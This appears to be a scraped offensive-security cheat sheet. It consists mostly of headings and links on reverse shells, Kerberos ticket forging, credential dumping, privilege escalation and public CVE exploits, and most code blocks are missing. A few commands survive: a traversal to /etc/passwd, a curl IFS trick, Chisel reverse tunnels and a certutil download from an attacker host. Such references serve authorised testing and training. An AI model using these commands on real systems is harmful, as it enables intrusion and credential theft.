Page cover

Command for pentesting

curl

curl -v http://<DOMAIN>                                                        // verbose output
curl -X POST http://<DOMAIN>                                                   // use POST method
curl -X PUT http://<DOMAIN>                                                    // use PUT method
curl --path-as-is http://<DOMAIN>/../../../../../../etc/passwd                 // use --path-as-is to handle /../ or /./ in the given URL
curl --proxy http://127.0.0.1:8080                                             // use proxy
curl -F myFile=@<FILE> http://<RHOST>                                          // file upload
curl${IFS}<LHOST>/<FILE>                                                       // Internal Field Separator (IFS) example

Chisel

Reverse Pivot

./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:3000:127.0.0.1:3000

SOCKS5 / Proxychains Configuration

./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:socks

File Transfer

Certutil

certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>

Netcat

Impacket

PowerShell

Bash only

wget version

Paste directly to the shell.

curl version

FTP

Kerberos

Ligolo-ng

https://github.com/nicocha30/ligolo-ngarrow-up-right

Download Proxy and Agent

Prepare Tunnel Interface

Setup Proxy on Attacker Machine

Setup Agent on Target Machine

Session

Linux

CentOS

Environment Variables

gcc

getfacl

iconv

vi

Windows Command Formatting

Microsoft Windows

dir

PHP Webserver

Ping

Python Webserver

RDP

showmount

smbclient

Download multiple files at once

Upload multiple Files at once

socat

SSH

Time and Date

Get the Server Time

Stop virtualbox-guest-utils to stop syncing Time

Stop systemd-timesyncd to sync Time manually

Disable automatic Sync

Options to set the Date and Time

Keep in Sync with a Server

Tmux

Copy & Paste

Search

Logging

Save Output

Upgrading Shells

Alternatively:

Oneliner

Fixing Staircase Effect

or

VirtualBox

virtualenv

Information Gathering

memcached

https://github.com/pd4d10/memcached-cliarrow-up-right

NetBIOS

Nmap

Port Scanning

snmpwalk

Web Application Analysis

Burp Suite

Set Proxy Environment Variables

cadaver

Cross-Site Scripting (XSS)

ffuf

API Fuzzing

Searching for LFI

Fuzzing with PHP Session ID

Recursion

File Extensions

Rate Limiting

Virtual Host Discovery

Massive File Extension Discovery

GitTools

Gobuster

Common File Extensions

Common Picture Extensions

POST Requests

DNS Recon

VHost Discovery

Specifiy User Agent

Local File Inclusion (LFI)

Until php 5.3

Null Byte

Encoded Traversal Strings

php://filter Wrapper

https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cbarrow-up-right

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusionarrow-up-right

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilterarrow-up-right

Django, Rails, or Node.js Web Application Header Values

Linux Files

Windows Files

PDF PHP Inclusion

Create a file with a PDF header, which contains PHP code.

PHP Upload Filter Bypasses

PHP Filter Chain Generator

https://github.com/synacktiv/php_filter_chain_generatorarrow-up-right

PHP Generic Gadget Chains (PHPGGC)

Server-Side Request Forgery (SSRF)

Server-Side Template Injection (SSTI)

Fuzz String

https://cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-sstiarrow-up-right

Magic Payload

https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeeearrow-up-right

Upload Vulnerabilities

wfuzz

Write to File

Custom Scan with limited Output

Fuzzing two Parameters at once

Domain

Subdomain

Git

Login

SQL

DNS

Numbering Files

Enumerating PIDs

WPScan

XML External Entity (XXE)

Skeleton Payload Request

Payloads

Database Analysis

impacket-mssqlclient

Common Commands

Connection

Privilege Escalation

MongoDB

User Password Reset to "12345"

MSSQL

Connection

Show Database Content

OPENQUERY

Binary Extraction as Base64

Steal NetNTLM Hash / Relay Attack

MySQL

Update User Password

Drop a Shell

xp_cmdshell

Insert Code to get executed

Write SSH Key into authorized_keys2 file

Linked SQL Server Enumeration

NoSQL Injection

PostgreSQL

Common Commands

Redis

Enter own SSH Key

SQL Injection

Master List

Authentication Bypass

SQL Truncation Attack

sqlite3

sqsh

List Files and Folders with xp_dirtree

Password Attacks

CrackMapExec

fcrack

hashcat

https://hashcat.net/hashcat/arrow-up-right

https://hashcat.net/wiki/doku.php?id=hashcatarrow-up-right

https://hashcat.net/cap2hashcat/arrow-up-right

https://hashcat.net/wiki/doku.php?id=example_hashesarrow-up-right

Cracking ASPREPRoast Password File

Cracking Kerberoasting Password File

Bruteforce based on the Pattern

Generate Password Candidates: Wordlist + Pattern

Generate NetNLTMv2 with internalMonologue and crack with hashcat

Result

Crack with hashcat

Rules

https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rulearrow-up-right

Cracking with OneRuleToRuleThemAll.rule

Hydra

John

Kerbrute

User Enumeration

Password Spray

LaZagne

mimikatz

Common Commands

Dump Hshes

Pass the Ticket

Forging Golden Ticket

Skeleton Key

NetExec

pypykatz

Exploitation Tools

ImageTragick

https://imagetragick.com/arrow-up-right

MSL / Polyglot Attack

https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.htmlarrow-up-right

poc.svg

Metasploit

Metasploit through Proxychains

Auxiliary Output Directory

Meterpreter Listener

Generate Payload

Setup Listener for Microsoft Windows

Download Files

Post Exploitation

Active Directory Certificate Services (AD CS)

ESC1: Misconfigured Certificate Templates

ESC2: Misconfigured Certificate Templates

ESC3: Enrollment Agent Templates

ESC4: Vulnerable Certificate Template Access Control

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7: Vulnerable Certificate Authority Access Control

ESC8: NTLM Relay to AD CS HTTP Endpoints

Coercing

ESC9: No Security Extensions

ESC10: Weak Certificate Mappings

Case 1

Case 2

ESC11: IF_ENFORCEENCRYPTICERTREQUEST

ADCSTemplate

BloodHound

Installing and starting Database

http://localhost:7474/browser/arrow-up-right

Docker Container

Database Password Reset

http://localhost:7474/browser/arrow-up-right

BloodHound Python

bloodyAD

Certify

https://github.com/GhostPack/Certifyarrow-up-right

Certipy

https://github.com/ly4k/Certipyarrow-up-right

https://github.com/ly4k/BloodHound/arrow-up-right

Account Creation

Authentication

LDAP-Shell

Certificate Forging

Certificate Request

Run the following command twice because of a current issue with certipy.

Revert Changes

Start BloodHound Fork

enum4linux-ng

Evil-WinRM

Impacket

impacket-smbclient

impacket-getTGT

impacket-GetNPUsers

impacket-getUserSPNs

impacket-secretsdump

impacket-psexec

impacket-ticketer

Requirements

  • Valid User

  • NTHASH

  • Domain-SID

Fixing [-] exceptions must derive from BaseException

Issue

How to fix it

dacledit.py

https://github.com/fortra/impacket/blob/204c5b6b73f4d44bce0243a8f345f00e308c9c20/examples/dacledit.pyarrow-up-right

Fixing msada_guids Error

Then put the msada_guids.py into the same directory as dacledit.py

https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/helpers/msada_guids.pyarrow-up-right

owneredit.py

https://github.com/fortra/impacket/blob/5c477e71a60e3cc434ebc0fcc374d6d108f58f41/examples/owneredit.pyarrow-up-right

JAWS

Kerberos

https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4aarrow-up-right

General Notes

  • Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed).

  • Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC).

  • Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC).

Bruteforce

With List of Users

Check Passwords for all Users in Domain

ASPREPRoast

Check ASPREPRoast for all Domain Users (Credentials required)

Check ASPREPRoast for a List of Users (No Credentials required)

Check ASPREPRoast for all Domain Users in Domain

Kerberoasting

Overpass The Hash/Pass The Key (PTK)

Request TGT with Hash

Request TGT with aesKey (More secure Encryption, probably more stealth due is it used by Default)

Request TGT with Password

Set TGT for Impacket Usage

Execute Remote Commands

Ask and inject the Ticket

Execute a CMD on Remote Host

Pass The Ticket (PTT)

Harvest Tickets from Linux

Check Type and Location of Tickets

  • If none return, default is FILE:/tmp/krb5cc_%{uid}

  • In Case of File Tickets it is possible to Copy-Paste them to use them

  • In Case of being KEYRING Tickets, the Tool tickey can be used to get them

  • To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes

  • To inject, the Ticket have to be copied in a reachable Folder by all Users

Harvest Tickets from Windows

Convert Tickets dumped with Rubeus into base64

Convert Tickets between Linux and Windows Format with ticket_converter.py

https://github.com/Zer1t0/ticket_converterarrow-up-right

Using Ticket on Linux

Execute Remote Commands by using TGT

Using Ticket on Windows

Inject Ticket with mimikatz

Inject Ticket with Rubeus

Execute a CMD on Remote Host

Silver Ticket

Impacket Examples

Generate TGS with NTLM

Generate TGS with aesKey

Set the ticket for impacket use

Execute Remote Commands by using TGT

mimikatz Examples

Generate TGS with NTLM

Generate TGS with AES 128bit Key

Generate TGS with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)

Inject TGS with Mimikatz

Rubeus Examples

Execute CMD on Remote Host

Golden Ticket

Impacket Examples

Generate TGT with NTLM

Generate TGT with aesKey

Set TGT for Impacket Usage

Execute Remote Commands by using TGT

mimikatz Examples

Generate TGT with NTLM

Generate TGT with AES 128bit Key

Generate TGT with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)

Inject TGT with Mimikatz

Rubeus Examples

Inject Ticket with Rubeus

Execute CMD on Remote Host

Get NTLM from Password

ldapsearch

Linux

Basic Linux Enumeration

find Commands

grep for Passwords

Apache2

Read first Line of a File with apache2 Binary

APT

arua2c

Bash Debugging Mode

  • Bash <4.4

Bash Functions

  • Bash <4.2-048

LD_PRELOAD

https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/arrow-up-right

shell.c

or

Compiling

Privilege Escalation

LD_LIBRARY_PATH

Get Information about Libraries

shell.c

Compiling

Privilege Escalation

logrotten

https://github.com/whotwagner/logrottenarrow-up-right

If "create"-option is set in logrotate.cfg

If "compress"-option is set in logrotate.cfg

Path Variable Hijacking

PHP7.2

relayd

The binary need to have the SUID bit set.

Shared Library Misconfiguration

https://tbhaxor.com/exploiting-shared-library-misconfigurations/arrow-up-right

shell.c

Compiling

Wildcards

https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txtarrow-up-right

With the command touch -- --checkpoint=1 will be a file created. Why? Because the -- behind the command touch is telling touch, that there's option to be wait for. Instead of an option, it creates a file, named --checkpoint=1.

or

So after creating the --checkpoint=1 file, i created another file, which executes a shell script.

or

To delete a misconfigured file, put a ./ in front of it.

Writeable Directories in Linux

Microsoft Windows

Basic Windows Enumeration

AppLocker Bypass List

accesschk

Checking File Permissions

Checking Service Permissions

Checking Path Permissions to find Unquoted Service Paths

Checking Registry Entries

Adding Users to Groups

Enable Remote Desktop (RDP)

or

Privileges and Permissions

AlwaysInstallElevated

SeBackup and SeRestore Privilege

Backup SAM and SYSTEM Hashes

Dumping Hashes

SeBackupPrivilege Privilege Escalation (diskshadow)

https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debugarrow-up-right

Script for PowerShell Environment

Copy ntds.dit

Export System Registry Value

Extract the Hashes

Alternative Way via Robocopy

SeTakeOwnership Privilege

Click the Ease of Access button on the logon screen to get a shell with NT Authority\System privileges.

SeImpersonate and SeAssignPrimaryToken Privilege

https://github.com/antonioCoco/RogueWinRMarrow-up-right

Registry Handling

Enable Colored Output

Then open a new Terminal Window.

Check for Auto Run Programs

Get Registry Key Information

Modify Registry Key

Searching for Credentials

Quick Wins

https://twitter.com/NinjaParanoid/status/1516442028963659777?t=g7ed0vt6ER8nS75qd-g0sQ&s=09arrow-up-right

https://www.nirsoft.net/utils/credentials_file_view.htmlarrow-up-right

Search for Passwords

PowerShell History

Saved Windows Credentials

Search the Registry for Passwords

Dumping Credentials

Internet Information Service (IIS)

PuTTY

Lsass

Unattended Windows Installations

Insecure Service Permissions

Service Handling

Scheduled Tasks

Unquoted Service Paths

Search for Unquoted Service Paths by using sc qc.

writeDACL

https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/arrow-up-right

WMIC

PassTheCert

https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.htmlarrow-up-right

https://github.com/AlmondOffSec/PassTheCert/tree/main/Pythonarrow-up-right

PKINITtools

Port Scanning

powercat

Powermad

PowerShell

Common Commands

Allow Script Execution

Script Execution Bypass

Import Module to PowerShell cmdlet

Check PowerShell Versions

Read PowerShell History

Create a .zip File

Unzip a File

Start a new Process

Invoke-Expression / Invoke-WebRequest

.NET Reflection

Start offsec Session

Execute Command as another User

or

Add new Domain Administrator

Execute Commands in User Context

Execute Scripts with Credentials (Reverse Shell)

pwncat

rpcclient

Rubeus

Overpass the Hash

Pass the Hash

RunasCs

smbpasswd

winexe

CVE

CVE-2014-6271: Shellshock RCE PoC

CVE-2016-1531: exim LPE

  • exim version <= 4.84-3

CVE-2019-14287: Sudo Bypass

https://www.exploit-db.com/exploits/47502arrow-up-right

Prerequisites

  • Sudo version < 1.8.28

Exploitation

CVE-2020-1472: ZeroLogon PE

https://github.com/SecuraBV/CVE-2020-1472arrow-up-right

https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.pyarrow-up-right

Prerequisites

PoC Modification

Weaponized PoC

Execution

CVE-2021-3156: Sudo / sudoedit LPE

https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435arrow-up-right

Pre-requisistes

  • Ubuntu 20.04 (Sudo 1.8.31)

  • Debian 10 (Sudo 1.8.27)

  • Fedora 33 (Sudo 1.9.2)

  • All legacy versions >= 1.8.2 to 1.8.31p2 and all stable versions >= 1.9.0 to 1.9.5p1

Vulnerability Test

The machine is vulnerable if one of the following message is shown.

Not vulnerable if the error message starts with usage:.

CVE-2021-44228: Log4Shell RCE (0-day)

https://github.com/kozmer/log4j-shell-pocarrow-up-right

Pre-requisistes

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.htmlarrow-up-right

Start the Listener

Execution

CVE-2022-0847: Dirty Pipe LPE

CVE-2022-22963: Spring4Shell RCE (0-day)

https://github.com/me2nuk/CVE-2022-22963arrow-up-right

CVE-2022-30190: MS-MSDT Follina RCE

https://github.com/JohnHammond/msdt-follinaarrow-up-right

CVE-2022-31214: Firejail LPE

https://seclists.org/oss-sec/2022/q2/188arrow-up-right

https://www.openwall.com/lists/oss-security/2022/06/08/10arrow-up-right

First Terminal

Second Terminal

CVE-2023-21746: Windows NTLM EoP LocalPotato LPE

https://github.com/decoder-it/LocalPotatoarrow-up-right

https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvcarrow-up-right

Modify the following file and build the solution.

Modify the following file and build the solution.

First get the paths from the environment, then use LocalPotato to place the malicious DLL.

At least trigger StorSvc via RpcClient.exe.

CVE-2023-22809: Sudo Bypass

https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466arrow-up-right

Prerequisites

  • Sudo version needs to be ≥ 1.8 and < 1.9.12p2.

  • Limited Sudo access to at least one file on the system that requires root access.

Example

Exploitation

CVE-2023-23397: Microsoft Outlook (Click-to-Run) PE (0-day) (PowerShell Implementation)

CVE-2023-32629, CVE-2023-2640: GameOverlay Ubuntu Kernel Exploit LPE (0-day)

  • Linux ubuntu2204 5.19.0-46-generic

CVE-2023-4911: Looney Tunables LPE

GodPotato LPE

https://github.com/BeichenDream/GodPotatoarrow-up-right

Juicy Potato LPE

https://github.com/ohpe/juicy-potatoarrow-up-right

http://ohpe.it/juicy-potato/CLSID/arrow-up-right

GetCLSID.ps1

Execution

JuicyPotatoNG LPE

https://github.com/antonioCoco/JuicyPotatoNGarrow-up-right

MySQL 4.x/5.0 User-Defined Function (UDF) Dynamic Library (2) LPE

https://www.exploit-db.com/exploits/1518arrow-up-right

PrintSpoofer LPE

https://github.com/itm4n/PrintSpooferarrow-up-right

SharpEfsPotato LPE

https://github.com/bugch3ck/SharpEfsPotatoarrow-up-right

Shocker Container Escape

https://raw.githubusercontent.com/gabrtv/shocker/master/shocker.carrow-up-right

Modifying Exploit

Compiling

Payloads

Donut

Exiftool

PHP into JPG Injection

GhostScript

nishang

Reverse Shells

Bash Reverse Shell

curl Reverse Shell

Groovy (Jenkins) Reverse Shell

JAVA Reverse Shell

shell.jar

Lua Reverse Shell

Markdown Reverse Shell

mkfifo Reverse Shell

Netcat Reverse Shell

Perl Reverse Shell

PHP Reverse Shell

PowerShell Reverse Shell

minireverse.ps1

Python Reverse Shell

Ruby Reverse Shell

ScareCrow

Payloads

Shellcode Payload Creation with msfvenom

.msi-File Payload Creation with msfvenom

Listener

Obfuscation

DLL Side-Loading

Windows Script Host

Control Panel Files

Renaming Payload

Execution

or

For .cpl-Files a simple double click is enough to execute them.

Shikata Ga Nai

Web Shells

PHP Web Shell

ysoserial

Templates

ASPX Web Shell

Bad YAML

Exploit Skeleton Python Script

JSON POST Request

Python Pickle RCE

Python Redirect for SSRF

Python Web Request

XML External Entity (XXE)

Request

Content of .dtd

Last updated